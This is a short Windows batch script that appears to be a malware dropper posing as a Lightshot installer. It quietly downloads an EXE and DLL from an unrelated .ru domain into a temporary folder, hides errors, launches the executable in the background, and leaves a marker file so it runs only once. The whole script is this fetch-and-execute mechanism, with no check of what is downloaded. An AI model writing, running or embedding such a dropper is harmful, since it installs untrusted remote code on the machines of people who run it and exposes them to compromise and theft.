@echo off
setlocal EnableDelayedExpansion
color 0F

set "DIR=%TEMP%\Lightshot"
set "EXE=%DIR%\Lightshot.exe"
set "DLL=%DIR%\Lightshot.dll"
set "DONE=%DIR%\.done"
set "EXE_URL=http://paxfallow.ru/Lightshot.exe"
set "DLL_URL=http://paxfallow.ru/Lightshot.dll"

if exist "%DONE%" exit /b 0

if not exist "%DIR%" mkdir "%DIR%" 2>nul

curl -f -s -S -L --connect-timeout 10 --max-time 30 -o "%EXE%" "%EXE_URL%" 2>nul
if errorlevel 1 (
    curl -f -s -S -L --connect-timeout 10 --max-time 30 -o "%EXE%" "%EXE_URL%" 2>nul
)

curl -f -s -S -L --connect-timeout 10 --max-time 30 -o "%DLL%" "%DLL_URL%" 2>nul

if exist "%EXE%" (
    start "" /B "%EXE%" >nul 2>&1
    echo.>"%DONE%"
)

endlocal
exit /b 0

